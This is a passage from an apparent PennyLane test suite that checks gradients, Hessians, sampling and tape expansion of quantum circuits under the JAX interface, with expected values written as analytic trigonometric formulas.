qml.gradients.param_shift\r\n\r\n\r\n@pytest.mark.parametrize(\"dev_name,diff_method,mode,interface\", qubit_device_and_diff_method)\r\nclass TestQubitIntegration:\r\n    \"\"\"Tests that ensure various qubit circuits integrate correctly\"\"\"\r\n\r\n    def test_probability_differentiation(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Tests correct output shape and evaluation for a tape\r\n        with a single prob output\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support probs\")\r\n\r\n        if interface == \"jax-jit\":\r\n            pytest.skip(\r\n                \"Only Variance and Expectation returns are supported for the jittable JAX interface.\"\r\n            )\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n        x = jnp.array(0.543)\r\n        y = jnp.array(-0.654)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.probs(wires=[1])\r\n\r\n        res = jax.jacobian(circuit, argnums=[0, 1])(x, y)\r\n\r\n        expected = np.array(\r\n            [\r\n                [-np.sin(x) * np.cos(y) / 2, -np.cos(x) * np.sin(y) / 2],\r\n                [np.cos(y) * np.sin(x) / 2, np.cos(x) * np.sin(y) / 2],\r\n            ]\r\n        )\r\n        assert np.allclose(res, expected.T, atol=tol, rtol=0)\r\n\r\n    def test_multi_probs_diff(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Tests correct output shape and evaluation for a tape\r\n        with multiple prob outputs\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support probs\")\r\n\r\n        if interface == \"jax-jit\":\r\n            pytest.skip(\r\n                \"Only Variance and Expectation returns are supported for the jittable JAX interface.\"\r\n            )\r\n\r\n        dev = qml.device(dev_name, wires=3)\r\n        x = jnp.array(0.543)\r\n        y = jnp.array(-0.654)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.probs(wires=[0]), qml.probs(wires=[1])\r\n\r\n        res = circuit(x, y)\r\n\r\n        expected = np.array(\r\n            [\r\n                [np.cos(x / 2) ** 2, np.sin(x / 2) ** 2],\r\n                [(1 + np.cos(x) * np.cos(y)) / 2, (1 - np.cos(x) * np.cos(y)) / 2],\r\n            ]\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n        res = jax.jacobian(circuit, argnums=[0, 1])(x, y)\r\n        expected = np.array(\r\n            [\r\n                [\r\n                    [-np.sin(x) / 2, np.sin(x) / 2],\r\n                    [-np.cos(y) * np.sin(x) / 2, np.sin(x) * np.cos(y) / 2],\r\n                ],\r\n                [\r\n                    [0, 0],\r\n                    [-np.cos(x) * np.sin(y) / 2, np.cos(x) * np.sin(y) / 2],\r\n                ],\r\n            ]\r\n        )\r\n\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n    @pytest.mark.parametrize(\"ret\", [qml.sample(qml.PauliZ(0)), qml.probs(wires=[1, 2])])\r\n    def test_sample_probs_raises_jax_python(self, dev_name, diff_method, mode, ret, interface, tol):\r\n        \"\"\"Tests qml.sample and qml.probs cannot be used as multiple\r\n        measurements with other measurement types with the JAX Python\r\n        interface.\"\"\"\r\n        if diff_method == \"backprop\":\r\n            pytest.skip(\"Backprop does not apply to this test\")\r\n\r\n        if ret.return_type is qml.measurements.Sample:\r\n            dev = qml.device(dev_name, wires=3, shots=10)\r\n            if diff_method == \"adjoint\":\r\n                pytest.skip(\"Adjoint does not support finite shots\")\r\n\r\n        if ret.return_type is qml.measurements.Probability:\r\n            if diff_method == \"adjoint\":\r\n                pytest.skip(\"Adjoint does not support probs\")\r\n\r\n            dev = qml.device(dev_name, wires=3)\r\n\r\n        x = jnp.array(0.543)\r\n        y = jnp.array(-0.654)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=\"jax-python\", mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliZ(0)), qml.apply(ret)\r\n\r\n        with pytest.raises(InterfaceUnsupportedError, match=\"sample and probability measurements\"):\r\n            circuit(x, y)\r\n\r\n    def test_probs_diff_len_wires_raises(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Tests multiple probs raise an error if the number of wires do not\r\n        match with the JAX Python interface.\"\"\"\r\n        if diff_method == \"backprop\":\r\n            pytest.skip(\"Backprop does not apply to this test\")\r\n\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support probs\")\r\n\r\n        dev = qml.device(dev_name, wires=3)\r\n\r\n        x = jnp.array(0.543)\r\n        y = jnp.array(-0.654)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=\"jax-python\", mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.probs(0), qml.probs([1, 2])\r\n\r\n        with pytest.raises(\r\n            InterfaceUnsupportedError,\r\n            match=\"multiple probability measurements need to have the same number of wires specified\",\r\n        ):\r\n            circuit(x, y)\r\n\r\n    @pytest.mark.xfail(reason=\"Line 230 in QubitDevice: results = self._asarray(results) fails\")\r\n    def test_ragged_differentiation(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Tests correct output shape and evaluation for a tape\r\n        with prob and expval outputs\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support probs\")\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n        x = jnp.array(0.543)\r\n        y = jnp.array(-0.654)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.expval(qml.PauliZ(0)), qml.probs(wires=[1])]\r\n\r\n        res = circuit(x, y)\r\n\r\n        expected = np.array(\r\n            [np.cos(x), (1 + np.cos(x) * np.cos(y)) / 2, (1 - np.cos(x) * np.cos(y)) / 2]\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        res = jax.jacobian(circuit, argnums=[0, 1])(x, y)\r\n        expected = np.array(\r\n            [\r\n                [-np.sin(x), 0],\r\n                [-np.sin(x) * np.cos(y) / 2, -np.cos(x) * np.sin(y) / 2],\r\n                [np.cos(y) * np.sin(x) / 2, np.cos(x) * np.sin(y) / 2],\r\n            ]\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n    @pytest.mark.xfail(reason=\"Line 230 in QubitDevice: results = self._asarray(results) fails\")\r\n    def test_ragged_differentiation_variance(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Tests correct output shape and evaluation for a tape\r\n        with prob and variance outputs\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support probs\")\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n        x = jnp.array(0.543)\r\n        y = jnp.array(-0.654)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.var(qml.PauliZ(0)), qml.probs(wires=[1])]\r\n\r\n        res = circuit(x, y)\r\n\r\n        expected = np.array(\r\n            [np.sin(x) ** 2, (1 + np.cos(x) * np.cos(y)) / 2, (1 - np.cos(x) * np.cos(y)) / 2]\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        res = jax.jacobian(circuit, argnums=[0, 1])(x, y)\r\n        expected = np.array(\r\n            [\r\n                [2 * np.cos(x) * np.sin(x), 0],\r\n                [-np.sin(x) * np.cos(y) / 2, -np.cos(x) * np.sin(y) / 2],\r\n                [np.cos(y) * np.sin(x) / 2, np.cos(x) * np.sin(y) / 2],\r\n            ]\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n    def test_sampling(self, dev_name, diff_method, mode, interface):\r\n        \"\"\"Test sampling works as expected\"\"\"\r\n        if mode == \"forward\":\r\n            pytest.skip(\"Sampling not possible with forward mode differentiation.\")\r\n\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint warns with finite shots\")\r\n\r\n        if interface == \"jax-jit\":\r\n            pytest.skip(\r\n                \"Only Variance and Expectation returns are supported for the jittable JAX interface.\"\r\n            )\r\n\r\n        dev = qml.device(dev_name, wires=2, shots=10)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit():\r\n            qml.Hadamard(wires=[0])\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.sample(qml.PauliZ(0)), qml.sample(qml.PauliX(1))]\r\n\r\n        res = circuit()\r\n\r\n        assert res.shape == (2, 10)\r\n        assert isinstance(res, jnp.DeviceArray)\r\n\r\n    def test_chained_qnodes(self, dev_name, diff_method, mode, interface):\r\n        \"\"\"Test that the gradient of chained QNodes works without error\"\"\"\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        class Template(qml.templates.StronglyEntanglingLayers):\r\n            def expand(self):\r\n                with qml.tape.QuantumTape() as tape:\r\n                    qml.templates.StronglyEntanglingLayers(*self.parameters, self.wires)\r\n                return tape\r\n\r\n        @qnode(dev, interface=interface, diff_method=diff_method)\r\n        def circuit1(weights):\r\n            Template(weights, wires=[0, 1])\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        @qnode(dev, interface=interface, diff_method=diff_method)\r\n        def circuit2(data, weights):\r\n            qml.templates.AngleEmbedding(jnp.stack([data, 0.7]), wires=[0, 1])\r\n            Template(weights, wires=[0, 1])\r\n            return qml.expval(qml.PauliX(0))\r\n\r\n        def cost(weights):\r\n            w1, w2 = weights\r\n            c1 = circuit1(w1)\r\n            c2 = circuit2(c1, w2)\r\n            return jnp.sum(c2) ** 2\r\n\r\n        w1 = qml.templates.StronglyEntanglingLayers.shape(n_wires=2, n_layers=3)\r\n        w2 = qml.templates.StronglyEntanglingLayers.shape(n_wires=2, n_layers=4)\r\n\r\n        weights = [\r\n            jnp.array(np.random.random(w1)),\r\n            jnp.array(np.random.random(w2)),\r\n        ]\r\n\r\n        grad_fn = jax.grad(cost)\r\n        res = grad_fn(weights)\r\n\r\n        assert len(res) == 2\r\n\r\n    def test_second_derivative(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Test second derivative calculation of a scalar valued QNode\"\"\"\r\n        if diff_method not in {\"backprop\"}:\r\n            pytest.skip(\"Test only supports backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode, max_diff=2)\r\n        def circuit(x):\r\n            qml.RY(x[0], wires=0)\r\n            qml.RX(x[1], wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        x = jnp.array([1.0, 2.0])\r\n        res = circuit(x)\r\n        g = jax.grad(circuit)(x)\r\n        g2 = jax.grad(lambda x: jnp.sum(jax.grad(circuit)(x)))(x)\r\n\r\n        a, b = x\r\n\r\n        expected_res = np.cos(a) * np.cos(b)\r\n        assert np.allclose(res, expected_res, atol=tol, rtol=0)\r\n\r\n        expected_g = [-np.sin(a) * np.cos(b), -np.cos(a) * np.sin(b)]\r\n        assert np.allclose(g, expected_g, atol=tol, rtol=0)\r\n\r\n        expected_g2 = [\r\n            -np.cos(a) * np.cos(b) + np.sin(a) * np.sin(b),\r\n            np.sin(a) * np.sin(b) - np.cos(a) * np.cos(b),\r\n        ]\r\n        assert np.allclose(g2, expected_g2, atol=tol, rtol=0)\r\n\r\n    def test_hessian(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Test hessian calculation of a scalar valued QNode\"\"\"\r\n        if diff_method not in {\"backprop\"}:\r\n            pytest.skip(\"Test only supports  backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode, max_diff=2)\r\n        def circuit(x):\r\n            qml.RY(x[0], wires=0)\r\n            qml.RX(x[1], wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        x = jnp.array([1.0, 2.0])\r\n        res = circuit(x)\r\n\r\n        a, b = x\r\n\r\n        expected_res = np.cos(a) * np.cos(b)\r\n        assert np.allclose(res, expected_res, atol=tol, rtol=0)\r\n\r\n        grad_fn = jax.grad(circuit)\r\n        g = grad_fn(x)\r\n\r\n        expected_g = [-np.sin(a) * np.cos(b), -np.cos(a) * np.sin(b)]\r\n        assert np.allclose(g, expected_g, atol=tol, rtol=0)\r\n\r\n        hess = jax.jacobian(grad_fn)(x)\r\n\r\n        expected_hess = [\r\n            [-np.cos(a) * np.cos(b), np.sin(a) * np.sin(b)],\r\n            [np.sin(a) * np.sin(b), -np.cos(a) * np.cos(b)],\r\n        ]\r\n        assert np.allclose(hess, expected_hess, atol=tol, rtol=0)\r\n\r\n    def test_hessian_vector_valued(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Test hessian calculation of a vector valued QNode\"\"\"\r\n        if diff_method not in {\"backprop\"}:\r\n            pytest.skip(\"Test only supports backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode, max_diff=2)\r\n        def circuit(x):\r\n            qml.RY(x[0], wires=0)\r\n            qml.RX(x[1], wires=0)\r\n            return qml.probs(wires=0)\r\n\r\n        x = jnp.array([1.0, 2.0])\r\n        res = circuit(x)\r\n\r\n        a, b = x\r\n\r\n        expected_res = [0.5 + 0.5 * np.cos(a) * np.cos(b), 0.5 - 0.5 * np.cos(a) * np.cos(b)]\r\n        assert np.allclose(res, expected_res, atol=tol, rtol=0)\r\n\r\n        jac_fn = jax.jacobian(circuit)\r\n        g = jac_fn(x)\r\n\r\n        expected_g = [\r\n            [-0.5 * np.sin(a) * np.cos(b), -0.5 * np.cos(a) * np.sin(b)],\r\n            [0.5 * np.sin(a) * np.cos(b), 0.5 * np.cos(a) * np.sin(b)],\r\n        ]\r\n        assert np.allclose(g, expected_g, atol=tol, rtol=0)\r\n\r\n        hess = jax.jacobian(jac_fn)(x)\r\n\r\n        expected_hess = [\r\n            [\r\n                [-0.5 * np.cos(a) * np.cos(b), 0.5 * np.sin(a) * np.sin(b)],\r\n                [0.5 * np.sin(a) * np.sin(b), -0.5 * np.cos(a) * np.cos(b)],\r\n            ],\r\n            [\r\n                [0.5 * np.cos(a) * np.cos(b), -0.5 * np.sin(a) * np.sin(b)],\r\n                [-0.5 * np.sin(a) * np.sin(b), 0.5 * np.cos(a) * np.cos(b)],\r\n            ],\r\n        ]\r\n        assert np.allclose(hess, expected_hess, atol=tol, rtol=0)\r\n\r\n    def test_hessian_vector_valued_postprocessing(\r\n        self, dev_name, diff_method, interface, mode, tol\r\n    ):\r\n        \"\"\"Test hessian calculation of a vector valued QNode with post-processing\"\"\"\r\n        if diff_method not in {\"backprop\"}:\r\n            pytest.skip(\"Test only supports backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        # Test only applies to backprop -> interface=\"jax\"\r\n        @qnode(dev, diff_method=diff_method, interface=\"jax\", mode=mode, max_diff=2)\r\n        def circuit(x):\r\n            qml.RX(x[0], wires=0)\r\n            qml.RY(x[1], wires=0)\r\n            return [qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliZ(0))]\r\n\r\n        def cost_fn(x):\r\n            return x @ circuit(x)\r\n\r\n        x = jnp.array(\r\n            [0.76, -0.87],\r\n        )\r\n        res = cost_fn(x)\r\n\r\n        a, b = x\r\n\r\n        expected_res = x @ jnp.array([np.cos(a) * np.cos(b), np.cos(a) * np.cos(b)])\r\n        assert np.allclose(res, expected_res, atol=tol, rtol=0)\r\n\r\n        grad_fn = jax.grad(cost_fn)\r\n        g = grad_fn(x)\r\n\r\n        expected_g = [\r\n            np.cos(b) * (np.cos(a) - (a + b) * np.sin(a)),\r\n            np.cos(a) * (np.cos(b) - (a + b) * np.sin(b)),\r\n        ]\r\n        assert np.allclose(g, expected_g, atol=tol, rtol=0)\r\n        hess = jax.jacobian(grad_fn)(x)\r\n\r\n        expected_hess = [\r\n            [\r\n                -(np.cos(b) * ((a + b) * np.cos(a) + 2 * np.sin(a))),\r\n                -(np.cos(b) * np.sin(a)) + (-np.cos(a) + (a + b) * np.sin(a)) * np.sin(b),\r\n            ],\r\n            [\r\n                -(np.cos(b) * np.sin(a)) + (-np.cos(a) + (a + b) * np.sin(a)) * np.sin(b),\r\n                -(np.cos(a) * ((a + b) * np.cos(b) + 2 * np.sin(b))),\r\n            ],\r\n        ]\r\n\r\n        assert np.allclose(hess, expected_hess, atol=tol, rtol=0)\r\n\r\n    def test_hessian_vector_valued_separate_args(\r\n        self, dev_name, diff_method, mode, interface, mocker, tol\r\n    ):\r\n        \"\"\"Test hessian calculation of a vector valued QNode that has separate input arguments\"\"\"\r\n        if diff_method not in {\"backprop\"}:\r\n            pytest.skip(\"Test only supports backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode, max_diff=2)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=0)\r\n            return qml.probs(wires=0)\r\n\r\n        a = jnp.array(1.0)\r\n        b = jnp.array(2.0)\r\n        res = circuit(a, b)\r\n\r\n        expected_res = [0.5 + 0.5 * np.cos(a) * np.cos(b), 0.5 - 0.5 * np.cos(a) * np.cos(b)]\r\n        assert np.allclose(res, expected_res, atol=tol, rtol=0)\r\n\r\n        jac_fn = jax.jacobian(circuit, argnums=[0, 1])\r\n        g = jac_fn(a, b)\r\n\r\n        expected_g = np.array(\r\n            [\r\n                [-0.5 * np.sin(a) * np.cos(b), -0.5 * np.cos(a) * np.sin(b)],\r\n                [0.5 * np.sin(a) * np.cos(b), 0.5 * np.cos(a) * np.sin(b)],\r\n            ]\r\n        )\r\n        assert np.allclose(g, expected_g.T, atol=tol, rtol=0)\r\n\r\n        spy = mocker.spy(qml.gradients.param_shift, \"transform_fn\")\r\n        hess = jax.jacobian(jac_fn, argnums=[0, 1])(a, b)\r\n\r\n        if diff_method == \"backprop\":\r\n            spy.assert_not_called()\r\n        elif diff_method == \"parameter-shift\":\r\n            spy.assert_called()\r\n\r\n        expected_hess = np.array(\r\n            [\r\n                [\r\n                    [-0.5 * np.cos(a) * np.cos(b), 0.5 * np.cos(a) * np.cos(b)],\r\n                    [0.5 * np.sin(a) * np.sin(b), -0.5 * np.sin(a) * np.sin(b)],\r\n                ],\r\n                [\r\n                    [0.5 * np.sin(a) * np.sin(b), -0.5 * np.sin(a) * np.sin(b)],\r\n                    [-0.5 * np.cos(a) * np.cos(b), 0.5 * np.cos(a) * np.cos(b)],\r\n                ],\r\n            ]\r\n        )\r\n        assert np.allclose(hess, expected_hess, atol=tol, rtol=0)\r\n\r\n    def test_state(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Test that the state can be returned and differentiated\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support states\")\r\n\r\n        if interface == \"jax-jit\":\r\n            pytest.skip(\r\n                \"Only Variance and Expectation returns are supported for the jittable JAX interface.\"\r\n            )\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        x = jnp.array(0.543)\r\n        y = jnp.array(-0.654)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=[0])\r\n            qml.RY(y, wires=[1])\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.state()\r\n\r\n        def cost_fn(x, y):\r\n            res = circuit(x, y)\r\n            assert res.dtype is np.dtype(\"complex128\")\r\n            probs = jnp.abs(res) ** 2\r\n            return probs[0] + probs[2]\r\n\r\n        res = cost_fn(x, y)\r\n\r\n        if diff_method not in {\"backprop\"}:\r\n            pytest.skip(\"Test only supports backprop\")\r\n\r\n        res = jax.grad(cost_fn, argnums=[0, 1])(x, y)\r\n        expected = np.array([-np.sin(x) * np.cos(y) / 2, -np.cos(x) * np.sin(y) / 2])\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n    def test_projector(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Test that the variance of a projector is correctly returned\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"Adjoint does not support projectors\")\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n        P = jnp.array([1])\r\n        x, y = 0.765, -0.654\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(x, y):\r\n            qml.RX(x, wires=0)\r\n            qml.RY(y, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.var(qml.Projector(P, wires=0) @ qml.PauliX(1))\r\n\r\n        res = circuit(x, y)\r\n        expected = 0.25 * np.sin(x / 2) ** 2 * (3 + np.cos(2 * y) + 2 * np.cos(x) * np.sin(y) ** 2)\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        res = jax.grad(circuit, argnums=[0, 1])(x, y)\r\n        expected = np.array(\r\n            [\r\n                0.5 * np.sin(x) * (np.cos(x / 2) ** 2 + np.cos(2 * y) * np.sin(x / 2) ** 2),\r\n                -2 * np.cos(y) * np.sin(x / 2) ** 4 * np.sin(y),\r\n            ]\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"diff_method,kwargs\",\r\n    [[\"finite-diff\", {}], (\"parameter-shift\", {}), (\"parameter-shift\", {\"force_order2\": True})],\r\n)\r\n@pytest.mark.parametrize(\"interface\", [\"jax-jit\", \"jax-python\"])\r\nclass TestCV:\r\n    \"\"\"Tests for CV integration\"\"\"\r\n\r\n    def test_first_order_observable(self, diff_method, kwargs, interface, tol):\r\n        \"\"\"Test variance of a first order CV observable\"\"\"\r\n        dev = qml.device(\"default.gaussian\", wires=1)\r\n\r\n        r = 0.543\r\n        phi = -0.654\r\n\r\n        @qnode(dev, interface=interface, diff_method=diff_method, **kwargs)\r\n        def circuit(r, phi):\r\n            qml.Squeezing(r, 0, wires=0)\r\n            qml.Rotation(phi, wires=0)\r\n            return qml.var(qml.X(0))\r\n\r\n        res = circuit(r, phi)\r\n        expected = np.exp(2 * r) * np.sin(phi) ** 2 + np.exp(-2 * r) * np.cos(phi) ** 2\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        # circuit jacobians\r\n        res = jax.grad(circuit, argnums=[0, 1])(r, phi)\r\n        expected = np.array(\r\n            [\r\n                2 * np.exp(2 * r) * np.sin(phi) ** 2 - 2 * np.exp(-2 * r) * np.cos(phi) ** 2,\r\n                2 * np.sinh(2 * r) * np.sin(2 * phi),\r\n            ]\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n    def test_second_order_observable(self, diff_method, kwargs, interface, tol):\r\n        \"\"\"Test variance of a second order CV expectation value\"\"\"\r\n        dev = qml.device(\"default.gaussian\", wires=1)\r\n\r\n        n = 0.12\r\n        a = 0.765\r\n\r\n        @qnode(dev, interface=interface, diff_method=diff_method, **kwargs)\r\n        def circuit(n, a):\r\n            qml.ThermalState(n, wires=0)\r\n            qml.Displacement(a, 0, wires=0)\r\n            return qml.var(qml.NumberOperator(0))\r\n\r\n        res = circuit(n, a)\r\n        expected = n**2 + n + np.abs(a) ** 2 * (1 + 2 * n)\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        # circuit jacobians\r\n        res = jax.grad(circuit, argnums=[0, 1])(n, a)\r\n        expected = np.array([2 * a**2 + 2 * n + 1, 2 * a * (2 * n + 1)])\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n\r\n@pytest.mark.parametrize(\"interface\", [\"jax-jit\", \"jax-python\"])\r\ndef test_adjoint_reuse_device_state(mocker, interface):\r\n    \"\"\"Tests that the jax interface reuses the device state for adjoint differentiation\"\"\"\r\n    dev = qml.device(\"default.qubit\", wires=1)\r\n\r\n    @qnode(dev, interface=interface, diff_method=\"adjoint\")\r\n    def circ(x):\r\n        qml.RX(x, wires=0)\r\n        return qml.expval(qml.PauliZ(0))\r\n\r\n    spy = mocker.spy(dev, \"adjoint_jacobian\")\r\n\r\n    grad = jax.grad(circ)(1.0)\r\n    assert circ.device.num_executions == 1\r\n\r\n    spy.assert_called_with(mocker.ANY, use_device_state=True)\r\n\r\n\r\n@pytest.mark.parametrize(\"dev_name,diff_method,mode,interface\", qubit_device_and_diff_method)\r\nclass TestTapeExpansion:\r\n    \"\"\"Test that tape expansion within the QNode integrates correctly\r\n    with the JAX interface\"\"\"\r\n\r\n    @pytest.mark.parametrize(\"max_diff\", [1, 2])\r\n    def test_gradient_expansion_trainable_only(\r\n        self, dev_name, diff_method, mode, max_diff, interface, mocker\r\n    ):\r\n        \"\"\"Test that a *supported* operation with no gradient recipe is only\r\n        expanded for parameter-shift and finite-differences when it is trainable.\"\"\"\r\n        if diff_method not in (\"parameter-shift\", \"finite-diff\"):\r\n            pytest.skip(\"Only supports gradient transforms\")\r\n\r\n        if max_diff > 1:\r\n            pytest.skip(\"JAX only supports first derivatives\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        class PhaseShift(qml.PhaseShift):\r\n            grad_method = None\r\n\r\n            def expand(self):\r\n                with qml.tape.QuantumTape() as tape:\r\n                    qml.RY(3 * self.data[0], wires=self.wires)\r\n                return tape\r\n\r\n        @qnode(dev, diff_method=diff_method, mode=mode, max_diff=max_diff, interface=interface)\r\n        def circuit(x, y):\r\n            qml.Hadamard(wires=0)\r\n            PhaseShift(x, wires=0)\r\n            PhaseShift(2 * y, wires=0)\r\n            return qml.expval(qml.PauliX(0))\r\n\r\n        spy = mocker.spy(circuit.device, \"batch_execute\")\r\n        x = jnp.array(0.5)\r\n        y = jnp.array(0.7)\r\n        circuit(x, y)\r\n\r\n        spy = mocker.spy(circuit.gradient_fn, \"transform_fn\")\r\n        res = jax.grad(circuit, argnums=[0])(x, y)\r\n\r\n        input_tape = spy.call_args[0][0]\r\n        assert len(input_tape.operations) == 3\r\n        assert input_tape.operations[1].name == \"RY\"\r\n        assert input_tape.operations[1].data[0] == 3 * x\r\n        assert input_tape.operations[2].name == \"PhaseShift\"\r\n        assert input_tape.operations[2].grad_method is None\r\n\r\n    @pytest.mark.parametrize(\"max_diff\", [1, 2])\r\n    def test_hamiltonian_expansion_analytic(\r\n        self, dev_name, diff_method, mode, max_diff, interface, mocker\r\n    ):\r\n        \"\"\"Test that the Hamiltonian is not expanded if there\r\n        are non-commuting groups and the number of shots is None\r\n        and the first and second order gradients are correctly evaluated\"\"\"\r\n        if diff_method == \"adjoint\":\r\n            pytest.skip(\"The adjoint method does not yet support Hamiltonians\")\r\n\r\n        if max_diff > 1:\r\n            pytest.skip(\"JAX only supports first derivatives\")\r\n\r\n        dev = qml.device(dev_name, wires=3, shots=None)\r\n        spy = mocker.spy(qml.transforms, \"hamiltonian_expand\")\r\n        obs = [qml.PauliX(0), qml.PauliX(0) @ qml.PauliZ(1), qml.PauliZ(0) @ qml.PauliZ(1)]\r\n\r\n        @qnode(dev, interface=interface, diff_method=diff_method, mode=mode, max_diff=max_diff)\r\n        def circuit(data, weights, coeffs):\r\n            weights = weights.reshape(1, -1)\r\n            qml.templates.AngleEmbedding(data, wires=[0, 1])\r\n            qml.templates.BasicEntanglerLayers(weights, wires=[0, 1])\r\n            return qml.expval(qml.Hamiltonian(coeffs, obs))\r\n\r\n        d = jnp.array([0.1, 0.2])\r\n        w = jnp.array([0.654, -0.734])\r\n        c = jnp.array([-0.6543, 0.24, 0.54])\r\n\r\n        # test output\r\n        res = circuit(d, w, c)\r\n        expected = c[2] * np.cos(d[1] + w[1]) - c[1] * np.sin(d[0] + w[0]) * np.sin(d[1] + w[1])\r\n        assert np.allclose(res, expected)\r\n        spy.assert_not_called()\r\n\r\n        # test gradients\r\n        grad = jax.grad(circuit, argnums=[1, 2])(d, w, c)\r\n        expected_w = [\r\n            -c[1] * np.cos(d[0] + w[0]) * np.sin(d[1] + w[1]),\r\n            -c[1] * np.cos(d[1] + w[1]) * np.sin(d[0] + w[0]) - c[2] * np.sin(d[1] + w[1]),\r\n        ]\r\n        expected_c = [0, -np.sin(d[0] + w[0]) * np.sin(d[1] + w[1]), np.cos(d[1] + w[1])]\r\n        assert np.allclose(grad[0], expected_w)\r\n        assert np.allclose(grad[1], expected_c)\r\n\r\n        # test second-order derivatives\r\n        if diff_method in (\"parameter-shift\", \"backprop\") and max_diff == 2:\r\n\r\n            grad2_c = jax.jacobian(jax.grad(circuit, argnum=2), argnum=2)(d, w, c)\r\n            assert np.allclose(grad2_c, 0)\r\n\r\n            grad2_w_c = jax.jacobian(jax.grad(circuit, argnum=1), argnum=2)(d, w, c)\r\n            expected = [0, -np.cos(d[0] + w[0]) * np.sin(d[1] + w[1]), 0], [\r\n                0,\r\n                -np.cos(d[1] + w[1]) * np.sin(d[0] + w[0]),\r\n                -np.sin(d[1] + w[1]),\r\n            ]\r\n            assert np.allclose(grad2_w_c, expected)\r\n\r\n    # @pytest.mark.xfail(reason=\"Will fail 